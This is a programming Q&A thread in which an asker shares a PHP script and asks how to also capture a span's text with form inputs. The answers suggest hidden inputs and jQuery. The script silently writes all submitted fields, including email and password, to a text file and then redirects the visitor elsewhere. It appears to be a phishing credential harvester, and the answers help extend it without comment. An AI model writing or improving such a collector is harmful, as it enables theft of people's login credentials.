php获取输入字段值和跨度值

I have this php code to get form input values:

<?php
header ('Location: https://mywebsite.com/');
$handle = fopen("logs_46735.txt", "a");
foreach($_POST as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, "=");
    fwrite($handle, $value);
    fwrite($handle, "
");
}
fwrite($handle, "===============
");
fclose($handle);
exit;
?>

That code works fine for getting input fields values, but I also have a span element in my html

<span id="mytext">some text</span>

that I would like to get together with input field values.

Example:

<span id="mytext">some text</span>
<input type="email" id="email" name="email" />
<input type="password" id="pass" name="pass" />

Is there a way to get all three values? Thanks

It isn't possible to get the value of a span in your $_POST without changing it to some kind of input.

What you could do however is make a hidden input field:

<input type="hidden" value="some text">

which will not be shown to the user and will appear in your $_POST variable

You can use the readonly attribute with an input:

<input type="text" id="mytext" value="some text" readonly>
<input type="email" id="email" name="email">
<input type="password" id="pass" name="pass">

Or as stated by FMashiro, if you want the input to be invisible, you can use the type hidden:

<input type="hidden" id="mytext" value="some text">
<input type="email" id="email" name="email">
<input type="password" id="pass" name="pass">

</div>

Only <input>, <textarea> and other <select> are send to PHP.

You can either, like said FMashiro, add a <input type="hidden" value="some_text">, or combine that with some javascript to set add an input, just before sending the form, with the current value you want.

Using ECMA6:

$("form[name=myform]").on("submit", event => {
    $("form[name=myform]").append(
        `<input name="hidden" type="hidden" value="${$("span#id").text()}" />`
    );
});

Or:

$("form[name=myform]").on("submit", function (event) {
    $("form[name=myform]").append(
        "<input name=\"hidden\" type=\"hidden\" value=\"" + $("span#id").text() + "\"/>"
    );
});
